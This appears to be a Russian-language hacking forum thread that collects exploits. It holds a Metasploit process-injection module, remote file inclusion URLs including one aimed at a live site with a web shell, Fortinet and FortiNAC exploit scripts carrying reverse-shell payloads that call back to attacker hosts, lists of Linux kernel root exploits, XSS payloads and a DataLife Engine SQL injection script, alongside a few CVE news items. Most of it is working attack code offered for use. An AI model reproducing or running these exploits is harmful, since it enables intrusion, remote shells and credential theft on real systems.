Ставим metasploit..
Тут всё как бы просто)) на данный момент мне известно 2 варианта установки)))
мы с Вами, уважаемые читатели, рассмотрим оба)))
Вариант 1.
Собственно фарш METASPLOIT 'а, установочный пакет для бесплатной загрузки.
1a) Если у Вас Windows***, то отключив антивирус, двойным щелчком запускаем
установщик и следуем его инструкциям
a2) Linux..., запускаем консоль, пишем:
Code:Copy to clipboard
sudo chmod +x Metasploit*.run
sudo password:....
sudo ./Metasploit*.run
Далее следуем инструкциям установщика..., далее, далее, далее...., готова.
Снова открываем консоль, пишем msfconsole и вооля....
ЗЫ..: Отличия этого метода в том, что содержимое не обновляется....(( То есть
актуальность на момент установки...(((
Вариант 2.(доступен только для пользователей Linux платформ)
Открываем консоль и пишем следующее...:
Code:Copy to clipboard
mkdir msins && cd msins
git clone https://github.com/darkoperator/MSF-Installer
cd MSF-Installer
sudo msf_install.sh -i
sudo password:...
Ждём окончания процесса..., минут 15-20. За это время скрипт автоматически выкачает и установит весь необходимый набор пакетов и зависимостей, необходимых для корректной работы. Установит PostgreSQL создаст базу, пользователя, пропишет в msf.., ну ясно в общем.. и ГЛАВНОЕ, при запуске скрипта из комплекта Метасплоита, "msfupdate", он проверит актуальность установленной базы модулей с базой GitHub(url), и произведёт загрузку и обновления недостающего.
**
Дальше публикуем модули, дополнения, сплоиты, классы, и всё что к этому прилагается.
Windows Manage Memory Payload Injection
Click to expand...
This Metasploit module will inject a payload into memory of a process. If a payload isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID datastore option isn't specified, then it'll inject into notepad.exe instead.
Click to expand...
Code:Copy to clipboard
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'
class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage Memory Payload Injection',
'Description' => %q{
This module will inject a payload into memory of a process. If a payload
isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID
datastore option isn't specified, then it'll inject into notepad.exe instead.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Carlos Perez <carlos_perez[at]darkoperator.com>',
'sinn3r'
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Windows', {} ] ],
'DefaultTarget' => 0,
'DisclosureDate'=> "Oct 12 2011"
))
register_options(
[
OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload.']),
OptBool.new('NEWPROCESS', [false, 'New notepad.exe to inject to', false])
], self.class)
end
# Run Method for when run command is issued
def exploit
@payload_name = datastore['PAYLOAD']
@payload_arch = framework.payloads.create(@payload_name).arch
# syinfo is only on meterpreter sessions
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
pid = get_pid
if not pid
print_error("Unable to get a proper PID")
return
end
if @payload_arch.first =~ /64/ and client.platform =~ /x86/
print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.")
print_error("Migrate to an x64 process and try again.")
return false
else
inject_into_pid(pid)
end
end
# Figures out which PID to inject to
def get_pid
pid = datastore['PID']
if pid == 0 or datastore['NEWPROCESS'] or not has_pid?(pid)
print_status("Launching notepad.exe...")
pid = create_temp_proc
end
return pid
end
# Determines if a PID actually exists
def has_pid?(pid)
procs = []
begin
procs = client.sys.process.processes
rescue Rex::Post::Meterpreter::RequestError
print_error("Unable to enumerate processes")
return false
end
pids = []
procs.each do |p|
found_pid = p['pid']
return true if found_pid == pid
end
print_error("PID #{pid.to_s} does not actually exist.")
return false
end
# Checks the Architeture of a Payload and PID are compatible
# Returns true if they are false if they are not
def arch_check(pid)
# get the pid arch
client.sys.process.processes.each do |p|
# Check Payload Arch
if pid == p["pid"]
vprint_status("Process found checking Architecture")
if @payload_arch.first == p['arch']
vprint_good("Process is the same architecture as the payload")
return true
else
print_error("The PID #{ p['arch']} and Payload #{@payload_arch.first} architectures are different.")
return false
end
end
end
end
# Creates a temp notepad.exe to inject payload in to given the payload
# Returns process PID
def create_temp_proc()
windir = client.fs.file.expand_path("%windir%")
# Select path of executable to run depending the architecture
if @payload_arch.first== "x86" and client.platform =~ /x86/
cmd = "#{windir}\\System32\\notepad.exe"
elsif @payload_arch.first == "x86_64" and client.platform =~ /x64/
cmd = "#{windir}\\System32\\notepad.exe"
elsif @payload_arch.first == "x86_64" and client.platform =~ /x86/
cmd = "#{windir}\\Sysnative\\notepad.exe"
elsif @payload_arch.first == "x86" and client.platform =~ /x64/
cmd = "#{windir}\\SysWOW64\\notepad.exe"
end
begin
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
rescue Rex::Post::Meterpreter::RequestError
return nil
end
return proc.pid
end
def inject_into_pid(pid)
vprint_status("Performing Architecture Check")
return if not arch_check(pid)
begin
print_status("Preparing '#{@payload_name}' for PID #{pid}")
raw = payload.generate
print_status("Opening process #{pid.to_s}")
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
if not host_process
print_error("Unable to open #{pid.to_s}")
return
end
print_status("Allocating memory in procees #{pid}")
mem = host_process.memory.allocate(raw.length + (raw.length % 1024))
# Ensure memory is set for execution
host_process.memory.protect(mem)
print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
print_status("Writing the stager into memory...")
host_process.memory.write(mem, raw)
host_process.thread.create(mem, 0)
print_good("Successfully injected payload in to process: #{pid}")
rescue Rex::Post::Meterpreter::RequestError => e
print_error("Unable to inject payload:")
print_line(e.to_s)
end
end
end
INDEXU <= 5.0.1 (admin_template_path) Remote Include Vulnerabilities
Узявимый код:
Code:Copy to clipboard
include($admin_template_path."msg.php");
admin_template_path parameter File inclusion
Уязвимые файлы из папки admin:
Code:Copy to clipboard
app_change_email.php,app_change_pwd.php,app_mod_rewrite.php,app_page_caching.php,app_setup.php,cat_add.php,cat_delete.php
,cat_edit.php,cat_path_update.php,cat_search.php,cat_struc.php,cat_view.php,cat_view_hidden.php,cat_view_hierarchy.php
,cat_view_registered_only.php,checkurl_web.php,db_alter.php,db_backup.php,db_alter_change.php,db_export.php,editor_add.php
,db_import.php,editor_delete.php,editor_validate.php,head.php,inv_config.php,inv_create.php,inv_delete.php,inv_edit.php
,inv_config_payment.php,inv_markpaid.php,inv_markunpaid.php,inv_overdue.php,inv_paid.php,inv_send.php,inv_unpaid.php
,index.php,lang_modify.php,link_add.php,link_bad.php,link_bad_delete.php,link_checkurl.php,link_delete.php,link_duplicate.php
,link_edit.php,link_premium_listing.php,link_premium_sponsored.php,link_search.php,link_sponsored_listing.php
,link_validate.php,link_validate_edit.php,link_view.php,log_search.php,mail_modify.php,menu.php,message_create.php
,message_delete.php,message_edit.php,message_send.php,message_subscriber.php,message_view.php,review_validate.php
,review_validate_edit.php,summary.php,template_delete.php,template_delete_file.php,template_duplicate.php
,template_active.php,template_add_custom.php,template_export.php,template_import.php,template_manager.php,user_search.php
,template_modify_file.php,template_rename.php,user_add.php,user_delete.php,user_edit.php,whos.php,template_modify.php
Пример/Эксплоит:
Code:Copy to clipboard
http://example.com/indexu/admin/app_change_email.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/app_change_pwd.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/app_mod_rewrite.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/app_page_caching.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/app_setup.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/cat_add.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/cat_delete.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/cat_edit.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/cat_path_update.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/cat_search.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/cat_struc.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/cat_view.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/cat_view_hidden.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/cat_view_hierarchy.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/cat_view_registered_only.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/checkurl_web.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/db_alter.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/db_alter_change.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/db_backup.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/db_export.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/db_import.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/editor_add.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/editor_delete.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/editor_validate.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/head.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/index.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/inv_config.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/inv_config_payment.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/inv_create.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/inv_delete.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/inv_edit.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/inv_markpaid.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/inv_markunpaid.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/inv_overdue.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/inv_paid.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/inv_send.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/inv_unpaid.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/lang_modify.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_add.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_bad.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_bad_delete.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_checkurl.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_delete.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_duplicate.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_edit.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_premium_listing.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_premium_sponsored.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_search.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_sponsored_listing.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_validate.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_validate_edit.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_view.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/log_search.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/mail_modify.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/menu.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/message_create.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/message_delete.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/message_edit.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/message_send.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/message_subscriber.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/message_view.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/review_validate.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/review_validate_edit.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/summary.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/template_active.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/template_add_custom.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/template_delete.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/template_delete_file.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/template_duplicate.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/template_export.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/template_import.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/template_manager.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/template_modify.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/template_modify_file.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/template_rename.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/user_add.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/user_delete.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/user_edit.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/user_search.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/whos.php?admin_template_path=http://evilcode.txt?
dork: Powered by INDEXU
Пример:
Code:Copy to clipboard
http://torrentmix.eu/admin/message_send.php?admin_template_path=http://rst.void.ru/download/r57shell.txt?
Видео:
PoC:
](https://github.com/SandboxEscaper/polarbearrepo)
Contribute to SandboxEscaper/polarbearrepo development by creating an account on GitHub.
github.com
News:
![thehackernews.com](/proxy.php?image=https%3A%2F%2Fblogger.googleusercontent.com%2Fimg%2Fb%2FR29vZ2xl%2FAVvXsEixE0h6YyetWk2zHGwEDxBetTzOK0IHp5YipSGJA1LsG8XR83ife0eSkrPnjskiX3awW3ip4G6oCH87Cc6ez6Dj5g4rJoyVHx9kdP_v3nl5cJktuUE7YnmjwiRcb3ZhxScqEAUQJxZeGARq%2Fs728-rw-e365%2Fwindows- zero-day- vulnerability.jpg&hash=dfb933e5ce2905d055d0d9405a6be84a&return_error=1)
](https://thehackernews.com/2019/05/windows-zero-day-vulnerability.html)
Hacker "SandboxEscaper" released Task Scheduler PoC exploit code for a new zero-day privilege escalation vulnerability affecting Windows 10 operating system
![thehackernews.com](/proxy.php?image=https%3A%2F%2Fblogger.googleusercontent.com%2Fimg%2Fb%2FR29vZ2xl%2FAVvXsEgQQyjwPYjJP0wddSEB8Dlpr3dlnQUs52-WmlrZfqJoBPeOvv2Zoqlq- FhEAz_Xeprj_mtrI1MGCW1JS840JUjVEK6VoNe6zCNNTw_7YmyvNmf3E5pprZ3zqP8lszq74Wt97SvbJo5yeuyep0U6-nGs0vdarg4_WUrc5r6L0ML0xE- BsPipJd2-1PMHTvO1%2Fs32-rw-e365%2Fthn.jpg&hash=731201cea47c3329ac66a269dee35cf0&return_error=1) thehackernews.com
В этой ветке будут выкладываться эксплойты под MacOS и iOS (Jailbreak) ...
Бэкграунд инфо: <https://googleprojectzero.blogspot.com/2019/04/splitting-
atoms-in-xnu.html>
PoC exploit for iOS 12.0 on iPhone Xs
](https://bugs.chromium.org/p/project-zero/issues/detail?id=1728#c4)
bugs.chromium.org
Правила раздела
Все новые топики постим по шаблону:
(название топика): Уязвимости: CoolProg
Переполнение буфера в CoolProg
Уязвимые версии: 1.0, 1.1
Описание:
Обнаружено переполнение буфера в CoolProg, .....
Пример/Эксплоит:(если есть)
Производитель :zns2: CoolBigSite
Источник: Source
Все, кто отпостит сообщения в другом, сильно отличающемся формате, получит минус.
Почистил раздел от флейма, привел все заголовки топиков к нужному виду. По возможности постараюсь и содержание постов привести к указанному виду.
Python:Copy to clipboard
import socket
import ssl
from pwn import *
import time
import sys
import requests
context = ssl.SSLContext()
target_host = sys.argv[1]
target_port = sys.argv[2]
reverse = sys.argv[3]
params = sys.argv[4].split(" ")
strparams = "["
for param in params:
strparams += "'"+param+"',"
strparams = strparams[:-1]
strparams += "]"
#binary functions
execve = p64(0x0042e050)
#binary gadgets
movrdirax = p64(0x00000000019d2196)# : mov rdi, rax ; call r13
poprsi = p64(0x000000000042f0f8)# : pop rsi ; ret)
poprdx = p64(0x000000000042f4a5)# : pop rdx ; ret)
jmprax = p64(0x0000000000433181)#: jmp rax)
pops = p64(0x000000000165cfd7)# : pop rdx ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret)
poprax = p64(0x00000000004359af)# : pop rax ; ret)
gadget1 = p64(0x0000000001697e0d); #0x0000000001697e0d : push rbx ; sbb byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret
poprdi = p64(0x000000000042ed7e)# : pop rdi ; ret
rax3 = gadget1
#hardcoded value which would probably need to be bruteforced or leaked
hardcoded = 0x00007fc5f128e000
scbase = p64(hardcoded)
rdi = p64(hardcoded + 0xc48)
cmd = p64(hardcoded + 0xd38)
asdf = hardcoded + 0xd38
cmd1 = p64(asdf)
cmd2 = p64(asdf+16)
arg1 = p64(asdf+48)
arg2 = p64(asdf+56)
arg3 = p64(asdf+64)
ropchain = poprax
ropchain += execve
ropchain += poprdi
ropchain += cmd1
ropchain += poprsi
ropchain += cmd2
ropchain += poprdx
ropchain += p64(0)
ropchain += jmprax
ropchain += b"/bin/python\x00\x00\x00\x00\x00"
ropchain += arg1
ropchain += arg2
ropchain += arg3
ropchain += p64(0)
ropchain += b"python\x00\x00"
ropchain += b"-c\x00\x00\x00\x00\x00\x00"
ropchain += b"""import socket,sys,os\ns=socket.socket(socket.AF_INET,socket. SOCK_STREAM)\ns.connect(('"""+ reverse.encode() + b"""',31337))\n[os.dup2(s.fileno(),x) for x in range(3)]\ni=os.fork()\nif i==0:\n os.execve('/bin/sh', """+strparams.encode()+b""",{})\n\x00\x00"""
try:
with socket.create_connection((target_host, int(target_port,10))) as sock:
with context.wrap_socket(sock, server_hostname=target_host) as ssock:
ssock.settimeout(2)
context.verify_mode = ssl. CERT_NONE
payload = b"A"*173096+rdi+poprdi+cmd+pops+b"A"*40+pops+rax3+b"C"*32+ropchain
tosend = b"POST /remote/error HTTP/1.1\r\nHost: "+target_host +b"\r\nContent-Length: 115964117980\r\n\r\n" + payload
ssock.sendall(tosend)
r = ssock.recv(10024)
except Exception as e:
print("Exception occurred :"+ repr(e))
SOURCE: freedom fox
Уязвимость CVE-2023-27532 затрагивает все версии софта и может быть использована неавторизованными злоумышленниками для кражи учетных данных и удаленного выполнения кода от имени SYSTEM.
Veeam выпустила обновления безопасности для устранения этой уязвимости ещё 7 марта и рекомендует клиентам, использующим более старые версии VBR, выполнить обновление, чтобы защитить уязвимые устройства.
Компания также поделилась временным решением для защиты от уязвимости. Системным администраторов, которые не могут моментально развернуть исправления, требуется заблокировать внешние подключения к порту TCP 9401 с помощью брандмауэра резервного сервера.
[Отчет о уязвимости.](https://www.horizon3.ai/veeam-backup-and- replication-cve-2023-27532-deep-dive/)
PoC: https://github.com/ZecOps/CVE-2020-0796-LPE-POC
Инфа : [https://blog.zecops.com/vulnerabili...a-local-privilege-
escalation-writeup-and-
poc/](https://blog.zecops.com/vulnerabilities/exploiting-smbghost-
cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/)
Еще один PoC
exploit #SMBGhost ](https://github.com/danigargu/CVE-2020-0796)
CVE-2020-0796 - Windows SMBv3 LPE exploit #SMBGhost - danigargu/CVE-2020-0796
github.com
Разработчик программного обеспечения Джан Бёлюк (Can Bölük) опубликовал PoC- код для уязвимости, эксплуатация которой позволяет обойти функцию безопасности Microsoft Kernel Patch Protection (KPP), более известную как PatchGuard. Метод обхода получил название ByePg.
PatchGuard, также известная как Kernel Patch Protection (KPP) — функция в 64-разрядных версиях Windows, обеспечивающая защиту от несанкционированной модификации ядра ОС вредоносным кодом.
После выпуска Windows 10 в 2015 году самым известным из всех методов обходов PatchGuard был GhostHook, обнаруженный исследователями CyberArk в 2017 году. Он работал только на системах с процессорами Intel, использующими функцию Processor Trace, позволяя внедрить вредоносный код в ядро ОС и установить руткит на системе. Второй метод обхода был обнаружен в июле нынешнего года и получил название InfinityHook. Метод был связан с использованием API NtTraceEvent для изменения ядра.
Недавно обнаруженный метод обхода ByePg позволяет взломать HalPrivateDispatchTable, чтобы позволить мошенническому приложению изменить ядро. ByePG считается еще более опасным, поскольку может обойти как PatchGuard, так и функцию Hypervisor-Protected Code Integrity (HVCI), позволяющую Microsoft помещать в «черный» список «плохие драйверы» на устройствах пользователей.
Ответ Microsoft во всех трех случаях был одинаковым. Поскольку все три эксплоита нуждаются в правах администратора для работы, то их нельзя классифицировать как проблемы безопасности. По словам компании, как только злоумышленник получит локальный доступ к системе с правами администратора, он сможет выполнить любую операцию, какую захочет.
Пока что неизвестно, планирует ли компания выпустить патч против данного метода обхода.
Источник: https://www.securitylab.ru/news/502832.php
Блог: <https://blog.can.ac/2019/10/19/byepg-defeating-patchguard-using-
exception-hooking/>
PoC: https://github.com/can1357/ByePg
CVE-2024-21762 POC (Fortinet SSL VPN) out-of-bound vulnerability
Python:Copy to clipboard
import socket
import time
import argparse
TARGET = 'xxxxxxxxxxxx' # Target IP
PORT = 443 # Target port, usually 443 for SSL VPN
def make_sock(target, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, port))
return sock
def send_payload(payload, target, port):
with make_sock(target, port) as ssock:
ssock.sendall(payload)
def main():
ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"
pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;
rop = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;
rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;
rop += b"%f5%2c%e6%00%00%00%00%00" # sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" # add rsi, rax; mov [rdi+8], rsi; ret;
rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8
pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;
call_execl = b"%80%c1%43%00%00%00%00%00"
bin_node = b"/bin/node%00"
e_flag = b"-e%00"
## use this one for rev shell b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(1337,"xxxxxxxxxxx",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'
js_payload = b'(function(){var cp=require("child_process");cp.execSync("nslookup xxxxxxxxxxx.oastify.com");})();%00'
form_value = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3
body = (b"B"*1808 + b"=" + form_value + b"&")*20
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: " + TARGET.encode() + b"\r\n"
data += b"Content-Length: " + str(len(body)).encode() + b"\r\n"
data += b"\r\n"
data += body
send_payload(data, TARGET, PORT)
# Short delay to ensure the server processes the first request
time.sleep(2)
# Preparing and sending the second part of the exploit
data = b"POST / HTTP/1.1\r\n"
data += b"Host: " + TARGET.encode() + b"\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"
send_payload(data, TARGET, PORT)
if __name__ == "__main__":
main()
Рутаем ядра никсов. Распределено по версиям. Практически все найдете ТУТ лмбо по ссылкам ниже
2.4.17
newlocal
kmod
2.4.18 + 2.4.19
brk (working)
newlocal
kmod
km.2
2.4.20
ptrace
kmod
km.2
brk (working)
elfbl
2.4.21 + 2.4.22
ptrace
kmod
km.2
brk (working)
2.4.23 + 2.4.24 + 2.6.2
mremap_pte
2.6.11
k-rad3 тут
2.6.13 - 2.6.17.4
prctl() exploit еще
вариант, и
еще, и
еще), он
же
(proc) Local Root sploit
------------------------------------------
Все что неупомянуто постим тут в виде - версия ядро платформа ссылка =)
онли сплоит пост, плз но флуд
Небезопасное создание временных файлов в редакторе ee в FreeBSD
Программа: FreeBSD 4.x, 5.x, 6.x
Описание:
Уязвимость позволяет локальному пользователю повысить свои привилегии на
системе.
Уязвимость существует из-за того, что редактор "ee" создает небезопасным
образом временные файлы во время проверки орфографии. Локальный пользователь
может с помощью специально сформированный символической ссылки перезаписать
произвольные файлы на системе с привилегиями пользователя, запустившего
редактор.
Решение: Установите исправление с сайта производителя.
:zns2: производитель
Источник: www.securitylab.ru
Добавлено в [time]1137035991[/time]
Отказ в обслуживании в FreeBSD ipfw
Программа: FreeBSD 6.x
Описание:
Уязвимость позволяет удаленному пользователю вызвать отказ в обслуживании МСЭ.
Уязвимость обнаружена в модуле "ipfw" при обработке IP фрагментов. Удаленный
пользователь может послать ICMP IP фрагменты, отвечающие действиям "reset",
"reject" или "unreach" и аварийно завершить работу межсетевого экрана.
Решение: Установите исправление с сайта производителя.
Patch for FreeBSD 6.0:
ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/pa...6:04/ipfw.patch
:zns2: производители
Источник: www.securitylab.ru
**POC for CVE-2022-39952 affecting Fortinet FortiNAC
PoC**: https://github.com/horizon3ai/CVE-2022-39952
Details: <https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-
dive-and-iocs/>
Affected Products :
FortiNAC : 9.4.0, 9.2.5, 9.2.4, 9.2.3, 9.2.2, 9.2.1, 9.2.0, 9.1.7, 9.1.6,
9.1.5, 9.1.4, 9.1.3, 9.1.2, 9.1.1, 9.1.0, 8.8.9, 8.8.8, 8.8.7, 8.8.6, 8.8.5,
8.8.4, 8.8.3, 8.8.2, 8.8.11, 8.8.10, 8.8.1, 8.8.0, 8.7.6, 8.7.5, 8.7.4, 8.7.3,
8.7.2, 8.7.1, 8.7.0, 8.6.5, 8.6.4, 8.6.3, 8.6.2, 8.6.1, 8.6.0, 8.5.4, 8.5.3,
8.5.2, 8.5.1, 8.5.0, 8.3.7
Spoiler: PoC
Python:Copy to clipboard
#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()
def exploit(target):
url = f'https://{target}:8443/configWizard/keyUpload.jsp'
r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
if 'SuccessfulUpload' in r.text:
print(f'[+] Payload successfully delivered')
def make_zip(payload_file):
fullpath = '/etc/cron.d/payload'
zf = zipfile.ZipFile('payload.zip', 'w')
zf.write(payload_file, fullpath)
zf.close()
print(f'[+] Wrote {payload_file} to {fullpath}')
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
args = parser.parse_args()
make_zip(args.file)
exploit(args.target)
Spoiler: Payload
Code:Copy to clipboard
* * * * * root bash -i >& /dev/tcp/10.0.40.83/443 0>&1
Counter-Strike 1.6 Dos exploit
Баг был найден небезызвестным хакером FUF`ом,имже и была написана exe версия.Мной был написан эксплоит на php.
Сплоит валит кс и очень сильно грузит систему.
Возможность указать пароль
Кароче,в архиве уже есть информация по испльзованию гуи версии,с php примерно все также.
Бывает что валится не с первого раза,но валит все 100 процентов серверов.Ну или стоит поменять тип авторизации на двойку
SQL-инъекция и XSS в Datalife Engine <= 4.1
Недостаточная фильрация позволяет злонамеренному пользователю выполнить
произвольные команды в базе данных и в браузере жертвы
XSS
Code:Copy to clipboard
/?year=2006&month=26687%3C/title%3E%3C/body%3E%3Cimg%20src=http://ghc.ru/images/rstghc.gif%3E7006&day=11
/?year=2006&month=04&day=68850%3C/title%3E%3Cbody%3E%3Cimg%20src=http://ghc.ru/images/rstghc.gif%3E
SQL-inj exploit:
Code:Copy to clipboard
#!/usr/bin/perl
## DataLife Engine sql injection exploit by RST/GHC
## (c)oded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru
## 18.06.06
use LWP::UserAgent;
use Getopt::Std;
getopts('u:n:p:');
$url = $opt_u;
$name = $opt_n;
$prefix = $opt_p || 'dle_';
if(!$url || !$name) { &usage; }
$s_num = 1;
$|++;
$n = 0;
&head;
print "\r\n";
print " [~] URL : $url\r\n";
print " [~] USERNAME : $name\r\n";
print " [~] PREFIX : $prefix\r\n";
$userid = 0;
print " [~] GET USERID FOR USER \"$name\" ...";
$xpl = LWP::UserAgent->new() or die;
$res = $xpl->get($url.'?subaction=userinfo&user='.$name);
if($res->as_string =~ /do=lastcomments&userid=(\d*)/) { $userid = $1; }
